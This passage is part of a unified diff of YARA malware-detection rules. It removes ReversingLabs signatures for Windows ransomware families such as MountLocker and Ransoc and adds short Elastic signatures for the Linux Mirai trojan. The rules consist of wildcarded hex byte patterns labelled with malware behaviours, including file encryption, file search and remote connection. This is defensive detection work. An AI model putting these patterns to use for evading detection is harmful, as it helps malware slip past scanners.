-            F0 89 73 ?? BA ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D0
-            8D 46 ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73 ?? 8B C6 C6
-            40 ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 89 73
-            ?? 8B C6 C6 40 ?? ?? 66 BA ?? ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            89 43 ?? 8B 73 ?? 8D 46 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 46 ?? 33 D2 E8 ?? ?? ??
-            ?? C6 46 ?? ?? C6 46 ?? ?? C6 46 ?? ?? C6 46 ?? ?? C6 46 ?? ?? 8D 46 ?? BA ?? ?? ??
-            ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 43 ?? B2 ?? A1 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 89 43 ?? 8B 73 ?? 8D 46 ?? 33 D2 E8 ?? ?? ?? ?? 8D 46 ?? BA ?? ?? ??
-            ?? E8
-        }
-		$search_config_file = {
-            8B C0 53 56 8B F0 8A 9E ?? ?? ?? ?? C6 86 ?? ?? ?? ?? ?? 80 BE ?? ?? ?? ?? ?? 75 ??
-            8B 46 ?? 8B 48 ?? A1 ?? ?? ?? ?? 33 D2 E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? 33 D2 8B
-            86 ?? ?? ?? ?? FF 96 ?? ?? ?? ?? 83 BE ?? ?? ?? ?? ?? 74 ?? 8B 96 ?? ?? ?? ?? B8 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 89 B6 ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ??
-            EB ?? 89 B6 ?? ?? ?? ?? C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 88 9E ?? ?? ?? ?? 8A 96 ?? ??
-            ?? ?? 8B C6 E8 ?? ?? ?? ?? 80 BE ?? ?? ?? ?? ?? 74 ?? 8B 46 ?? 8B 8E ?? ?? ?? ?? 8B
-            96 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 68 ?? ?? ?? ?? 8B 46 ?? E8 ?? ?? ?? ?? 8B 46 ?? 89
-            70 ?? 5E 5B C3
-        }
-		$track_mouse_event_for_entropy = {
-            53 56 83 C4 ?? 8B F0 8B 42 ?? 05 ?? ?? ?? ?? 83 E8 ?? 72 ?? 2D ?? ?? ?? ?? 0F 84 ??
-            ?? ?? ?? E9 ?? ?? ?? ?? 8A 86 ?? ?? ?? ?? 88 44 24 ?? 66 83 BE ?? ?? ?? ?? ?? 74 ??
-            8B D6 8B 86 ?? ?? ?? ?? FF 96 ?? ?? ?? ?? 8B D8 EB ?? 54 E8 ?? ?? ?? ?? 8D 4C 24 ??
-            8B D4 8B C6 E8 ?? ?? ?? ?? 8B 44 24 ?? 89 04 24 8B 44 24 ?? 89 44 24 ?? 8D 54 24 ??
-            8B C6 E8 ?? ?? ?? ?? 8D 54 24 ?? 8B C4 E8 ?? ?? ?? ?? 8B D8 3A 5C 24 ?? 0F 84 ?? ??
-            ?? ?? 8B C6 E8 ?? ?? ?? ?? 84 DB 74 ?? C6 86 ?? ?? ?? ?? ?? 66 83 BE ?? ?? ?? ?? ??
-            74 ?? 8B D6 8B 86 ?? ?? ?? ?? FF 96 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ??
-            ?? ?? ?? ?? 8B 46 ?? 89 44 24 ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? EB
-            ?? C6 86 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 46 ?? 89
-            44 24 ?? 8D 44 24 ?? E8 ?? ?? ?? ?? 66 83 BE ?? ?? ?? ?? ?? 74 ?? 8B D6 8B 86 ?? ??
-            ?? ?? FF 96 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? EB ?? 80 BE ?? ?? ?? ?? ?? 74 ?? C6 86
-            ?? ?? ?? ?? ?? 66 83 BE ?? ?? ?? ?? ?? 74 ?? 8B D6 8B 86 ?? ?? ?? ?? FF 96 ?? ?? ??
-            ?? 8B C6 E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 5E 5B C3
-        }
-		$find_files_p1 = {
-            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 C9 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B FA
-            8B D8 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ??
-            ?? B9 ?? ?? ?? ?? 8B D7 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 43 ?? 8D 85 ?? ?? ?? ??
-            8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? 33 C9 8A 08 41 E8
-            ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
-            85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ??
-            0F 84 ?? ?? ?? ?? 80 7B ?? ?? 76 ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B D7 8B C3 E8 ?? ?? ?? ?? 80 7B ?? ?? 0F 85 ??
-            ?? ?? ?? 57 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ??
-            ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 43 ?? E9 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 53 ?? E8 ?? ?? ?? ?? 84 C0 74 ?? FF 43
-        }
-		$find_files_p2 = {
-            80 7B ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B D7 8B C3 E8 ?? ?? ?? ?? EB ?? 80 7B ?? ?? 74 ?? 8D
-            85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D
-            85 ?? ?? ?? ?? 8B D7 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 43 ?? E8 ?? ?? ?? ?? EB ??
-            8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ??
-            8D 43 ?? E8 ?? ?? ?? ?? 80 7B ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 85
-            C0 0F 85 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
-        }
-		$encrypt_files = {
-            8B C0 33 D2 89 50 ?? 89 50 ?? 52 8D 50 ?? 52 FF 70 ?? FF 70 ?? FF 30 E8 ?? ?? ?? ??
-            85 C0 74 ?? 33 C0 C3 E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? C3 33 C0 C3 51 8B 50 ?? 85 D2 7E
-            ?? 33 C9 89 48 ?? 51 8D 4C 24 ?? 51 52 FF 70 ?? FF 30 E8 ?? ?? ?? ?? 85 C0 74 ?? 33
-            C0 59 C3 E8 ?? ?? ?? ?? EB ?? FF 30 C7 40 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 75 ?? C3
-            E8 ?? ?? ?? ?? C3 56 8B F0 33 C0 89 46 ?? 89 46 ?? 8B 46 ?? 2D ?? ?? ?? ?? 74 ?? 48
-            74 ?? 48 74 ?? E9 ?? ?? ?? ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 46 ??
-            ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ??
-            BA ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 46 ?? ?? ?? ?? ?? C7 46 ?? ??
-            ?? ?? ?? 80 7E ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 51 6A ?? 52 50 8D 46 ??
-            50 E8 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 89 06 81 7E ?? ?? ?? ?? ?? 0F 85 ?? ??
-            ?? ?? FF 4E ?? 6A ?? FF 36 E8 ?? ?? ?? ?? 40 0F 84 ?? ?? ?? ?? 2D ?? ?? ?? ?? 73 ??
-            33 C0 6A ?? 6A ?? 50 FF 36 E8 ?? ?? ?? ?? 40 0F 84 ?? ?? ?? ?? 6A ?? 8B D4 6A ?? 52
-            68 ?? ?? ?? ?? 8D 96 ?? ?? ?? ?? 52 FF 36 E8 ?? ?? ?? ?? 5A 48 0F 85 ?? ?? ?? ?? 33
-            C0 3B C2 73 ?? 80 BC 06 ?? ?? ?? ?? ?? 74 ?? 40 EB ?? 6A ?? 6A ?? 2B C2 50 FF 36 E8
-            ?? ?? ?? ?? 40 74 ?? FF 36 E8 ?? ?? ?? ?? 48 75 ?? EB ?? C7 46 ?? ?? ?? ?? ?? 81 7E
-            ?? ?? ?? ?? ?? 74 ?? 6A ?? EB ?? 6A ?? E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 89 06 81 7E ??
-            ?? ?? ?? ?? 74 ?? FF 36 E8 ?? ?? ?? ?? 85 C0 74 ?? 83 F8 ?? 75 ?? C7 46 ?? ?? ?? ??
-            ?? 33 C0 5E C3
-        }
+		$a = { 53 83 EC 04 0F B6 74 24 14 8B 5C 24 18 8B 7C 24 20 0F B6 44 }
 
 	condition:
-		uint16(0)==0x5A4D and ($search_config_file) and ( all of ($find_files_p*)) and ($track_mouse_event_for_entropy) and ($encrypt_files) and ( all of ($show_ransom_note_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Mountlocker : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_01E4A728 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects MountLocker ransomware."
-		author = "ReversingLabs"
-		id = "8ce7e5c4-9eca-5dd2-ab92-39b915900d72"
-		date = "2021-03-25"
-		modified = "2021-03-25"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.MountLocker.yara#L1-L86"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "d203217c229d54802e96e19dc66d38ecb0443d19e0492efe337df471a99559dc"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "01e4a728-7c1c-479b-aed0-cb76d64dbb02"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1145-L1162"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "753936b97a36c774975a1d0988f6f908d4b5e5906498aa34c606d4cd971f1ba5"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "MountLocker"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$encrypt_files_p1 = {
-            55 8B EC 83 E4 ?? 83 EC ?? 53 56 57 8B 3D ?? ?? ?? ?? 8B DA 8B F1 FF D7 89 44 24 ??
-            33 C0 50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 56 89 54 24 ?? 89 44 24 ?? FF 15
-            ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 51 50 FF 15 ?? ?? ??
-            ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF 74 24 ?? 6A ?? 6A ?? FF 74 24 ?? FF
-            15 ?? ?? ?? ?? 89 44 24 ?? 85 C0 0F 84 ?? ?? ?? ?? 33 C9 0F 31 89 44 8C ?? 41 83 F9
-            ?? 72 ?? FF 75 ?? 8B D3 8D 4C 24 ?? E8 ?? ?? ?? ?? 89 44 24 ?? 59 85 C0 74 ?? 8D 4C
-            24 ?? E8 ?? ?? ?? ?? 89 44 24 ?? 8B 7C 24 ?? 8B 44 24 ?? 89 7C 24 ?? 89 44 24 ?? 8B
-            35 ?? ?? ?? ?? 8B DE 8B 15 ?? ?? ?? ?? 03 DF 8B CA 89 54 24 ?? 13 C8 BF ?? ?? ?? ??
-            8B C6 F0 0F C7 0F 8B 7C 24 ?? 3B C6 8B 44 24 ?? 75 ?? 3B 54 24 ?? 75 ?? FF 74 24 ??
-            8B 35 ?? ?? ?? ?? FF D6 FF 74 24 ?? FF D6 8B 3D ?? ?? ?? ?? FF D7 8B F8 8B C2 2B 7C
-            24 ?? 89 7C 24 ?? 1B 44 24 ?? 89 44 24 ?? 75 ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 35 ?? ??
-            ?? ?? 8B DE 8B 15 ?? ?? ?? ?? 03 DF 8B CA 89 54 24 ?? 13 C8 BF ?? ?? ?? ?? 8B C6 F0
-            0F C7 0F 8B 7C 24 ?? 3B C6 8B 44 24 ?? 75 ?? 3B 54 24 ?? 75 ?? 50 57 FF 74 24 ?? FF
-            74 24 ?? E8 ?? ?? ?? ?? 89 44 24 ?? 8B C2 81 E2 ?? ?? ?? ?? 25 ?? ?? ?? ?? 89 54 24
-            ?? DF 6C 24 ?? 83 64 24 ?? ?? 89 44 24 ?? DF 6C 24 ?? D9 E0 DE C1 D9 5C 24 ?? D9 44
-            24 ?? D9 05 ?? ?? ?? ?? D8 D9 DF E0 F6 C4 ?? 7A ?? D9 1D ?? ?? ?? ?? EB ?? DD D8 8B
-            44 24 ?? EB ?? 8B 44 24 ?? 85 C0 8B 35 ?? ?? ?? ?? 74 ?? 50 FF D6 FF 74 24 ?? FF D6
-            33 C0 5F 5E 5B 8B E5 5D C3
-        }
-		$encrypt_files_p2 = {
-            55 8B EC 83 EC ?? 53 56 57 33 FF 6A ?? 8B F7 5B 0F 31 6A ?? 89 86 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? 83 C6 ?? 3B F3 72 ?? 8B D3 B9 ?? ?? ?? ?? 8A 01 88 41 ?? 41 83 EA ?? 75
-            ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 57 8D 45 ?? 89 5D ?? 50 89 7D ?? 89 7D ?? FF
-            15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 57 57 68 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? ??
-            ?? ?? 57 6A ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? 8B F0 FF 15 ?? ?? ?? ?? 57 FF
-            75 ?? FF 15 ?? ?? ?? ?? 85 F6 74 ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 33 C0 40
-            EB ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E
-            5B 8B E5 5D C3
-        }
-		$find_files_p1 = {
-            53 55 56 8B 74 24 ?? 8B EA 57 8B F9 6A ?? 83 26 ?? 58 66 89 44 6F ?? 8D 5F ?? 33 C0
-            66 89 44 6F ?? 8D 87 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 53 89 44 24 ?? FF D0 33 C9 66 89
-            4C 6F ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 39 4F ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83
-            F8 ?? 0F 85 ?? ?? ?? ?? 8D 46 ?? 50 6A ?? 8D 4E ?? 51 8D 56 ?? 52 8D 46 ?? 50 6A ??
-            6A ?? 8D 5F ?? 53 FF 15 ?? ?? ?? ?? F7 D8 1B C0 83 C0 ?? 89 06 74 ?? 8B CB E8 ?? ??
-            ?? ?? 85 C0 74 ?? 6A ?? 58 66 89 44 6F ?? 33 C0 66 89 44 6F ?? 8D 87 ?? ?? ?? ?? 50
-            53 FF 54 24 ?? 33 C9 66 89 4C 6F ?? 83 F8 ?? 75 ?? 39 0E 74 ?? 51 FF 76 ?? FF 76 ??
-            FF 76 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 83 3E ?? 74 ?? FF 76 ?? FF 15 ?? ?? ?? ??
-            83 26 ?? 83 C8 ?? 5F 5E 5D 5B C3
-        }
-		$find_files_p2 = {
-            55 8B EC 83 E4 ?? 83 EC ?? 53 55 56 8B F1 57 FF 46 ?? 8D 7E ?? 8B 07 8D 5E ?? 89 44
-            24 ?? 8B 46 ?? 53 89 07 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 89 44 24 ?? 51 8B D0 8B CE E8
-            ?? ?? ?? ?? 8B E8 59 83 FD ?? 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 8D 86 ?? ?? ?? ?? 50 FF
-            15 ?? ?? ?? ?? 8D 9E ?? ?? ?? ?? F6 03 ?? 74 ?? 8B 54 24 ?? 8B CE E8 ?? ?? ?? ?? EB
-            ?? 8D 86 ?? ?? ?? ?? 50 8B 44 24 ?? 05 ?? ?? ?? ?? 8D 04 46 50 FF 15 ?? ?? ?? ?? FF
-            76 ?? 57 6A ?? FF 16 83 C4 ?? 85 C0 74 ?? 53 55 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 55 FF
-            15 ?? ?? ?? ?? 83 7E ?? ?? 8D 5E ?? 74 ?? 83 7C 24 ?? ?? 74 ?? 6A ?? FF 74 24 ?? FF
-            74 24 ?? FF 74 24 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 83 7C 24 ?? ?? 74 ?? FF 74 24
-            ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 C0 89 0F 40 5F 5E 5D 5B 8B E5 5D C3
-        }
+		$a = { 44 24 23 48 8B 6C 24 28 83 F9 01 4A 8D 14 20 0F B6 02 88 45 08 }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Ransomware_Ransoc : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Linux_Trojan_Mirai_64D5Cde2 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects Ransoc ransomware."
-		author = "ReversingLabs"
-		id = "a990754e-eafa-5501-a123-bcbd5aa26ca6"
-		date = "2020-07-15"
-		modified = "2020-07-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Ransoc.yara#L1-L114"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "1f48f1b713c18b099e863d8a11e872ae84df0ea355f01cba765e8333d8d98575"
+		description = "Detects Linux Trojan Mirai (Linux.Trojan.Mirai)"
+		author = "Elastic Security"
+		id = "64d5cde2-e4b1-425b-8af3-314a5bf519a9"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mirai.yar#L1164-L1182"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "caf2a8c199156db2f39dbb0a303db56040f615c4410e074ef56be2662752ca9d"
+		logic_hash = "08f3635e5517185cae936b39f503bbeba5aed2e36abdd805170a259bc5e3644f"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "Ransoc"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "1a69f91b096816973ce0c2e775bcf2a54734fa8fbbe6ea1ffcf634ce2be41767"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "linux"
 
 	strings:
-		$scan_for_services = {
-            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 66 A3 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            66 39 2D ?? ?? ?? ?? 73 ?? 66 01 1D ?? ?? ?? ?? 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 66 89
-            0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 39 2D ?? ?? ?? ?? 73 ?? 66 01 1D ?? ?? ?? ?? 03 F3
-            E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85
-            C0 75 ?? BA ?? ?? ?? ?? 66 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 39 2D ?? ?? ?? ?? 73
-            ?? 66 01 1D ?? ?? ?? ?? 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 66 A3 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 66 39 2D ?? ?? ?? ?? 73 ?? 66 01 1D ?? ?? ?? ?? 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ??
-            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? B9 ?? ?? ?? ?? 66
-            89 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 39 2D ?? ?? ?? ?? 73 ?? 66 01 1D ?? ?? ?? ?? 03
-            F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
-            85 C0 75 ?? BA ?? ?? ?? ?? 66 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 FF 66 39 2D ?? ??
-            ?? ?? 73 ?? A1 ?? ?? ?? ?? 50 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 66 01 1D ?? ?? ?? ?? 8B
-            FB 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
-            C4 ?? 85 C0 75 ?? BA ?? ?? ?? ?? 66 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 39 2D ?? ??
-            ?? ?? 73 ?? 85 FF 75 ?? A1 ?? ?? ?? ?? 50 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 66
-            01 1D ?? ?? ?? ?? 03 F3 E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? BA ?? ?? ?? ?? 66 89 15 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            EB ?? 85 FF 74 ?? 8D 44 24 ?? 50 E8
-      }
-		$remote_connection = {
-            8B 44 24 ?? 83 EC ?? 53 8B 5C 24 ?? 56 8B 74 24 ?? 50 56 E8 ?? ?? ?? ?? 8B D8 83 C4
-            ?? 83 FB ?? 75 ?? 5E B8 ?? ?? ?? ?? 5B 83 C4 ?? C3 8B 4C 24 ?? 55 8B 6C 24 ?? 57 55
-            56 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B F0 56 FF 15 ?? ?? ?? ?? 50 56 53 E8
-            ?? ?? ?? ?? 56 8B F8 E8 ?? ?? ?? ?? 83 C4 ?? 83 FF ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 8D
-            47 ?? 5F 5D 5E 5B 83 C4 ?? C3 8B 44 24 ?? 85 C0 74 ?? 85 ED 74 ?? 55 50 53 E8 ?? ??
-            ?? ?? 83 C4 ?? 83 F8 ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 5F 5D 5E B8 ?? ?? ?? ?? 5B 83 C4
-            ?? C3 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 83 C4 ?? 8D 49 ?? 8B 74 24 ??
-            8B C6 2B 44 24 ?? 75 ?? 8D 4C 24 ?? 6A ?? 51 E8 ?? ?? ?? ?? 8B 74 24 ?? 83 C4 ?? 2B
-            74 24 ?? 6A ?? 56 8D 54 24 ?? 56 52 E8 ?? ?? ?? ?? 83 C4 ?? 50 53 FF D5 8B F8 85 FF
-            78 ?? 2B C6 01 44 24 ?? EB ?? 29 74 24 ?? 83 FF ?? 74 ?? 85 FF 75 ?? 53 FF 15 ?? ??
-            ?? ?? 85 FF 79 ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5D 5E B8 ?? ?? ?? ?? 5B
-            83 C4 ?? C3 8D 54 24 ?? 6A ?? 52 E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? 68 ?? ?? ?? ??
-            50 FF 15 ?? ?? ?? ?? 8B F0 85 F6 75 ?? 8D 4C 24 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 5F 5D
-            8D 46 ?? 5E 5B 83 C4 ?? C3 8B 54 24 ?? 83 C2 ?? 6A ?? 52 E8 ?? ?? ?? ?? 8B 4C 24 ??
-            8B 54 24 ?? 8B F8 8B 44 24 ?? 2B F0 83 C6 ?? 2B CE 51 03 F0 56 52 E8 ?? ?? ?? ?? 8D
-            44 24 ?? 50 E8
-      }
-		$encrypt_files = {
-            81 EC ?? ?? ?? ?? 53 55 56 8B 35 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ??
-            8B F8 FF D6 8B 8C 24 ?? ?? ?? ?? 8B E8 8B 84 24 ?? ?? ?? ?? 50 51 57 8D 94 24 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 6A ?? 50
-            E8 ?? ?? ?? ?? 8B BC 24 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 83 C4 ?? 89 4C 24 ?? BB ??
-            ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? EB ?? 8D 49 ?? 55 68 ?? ?? ?? ?? 83 FB ?? 7E ?? 8D
-            94 24 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 74 24 ?? 8D BC 24 ?? ?? ?? ?? 52 F3 A5 E8 ?? ??
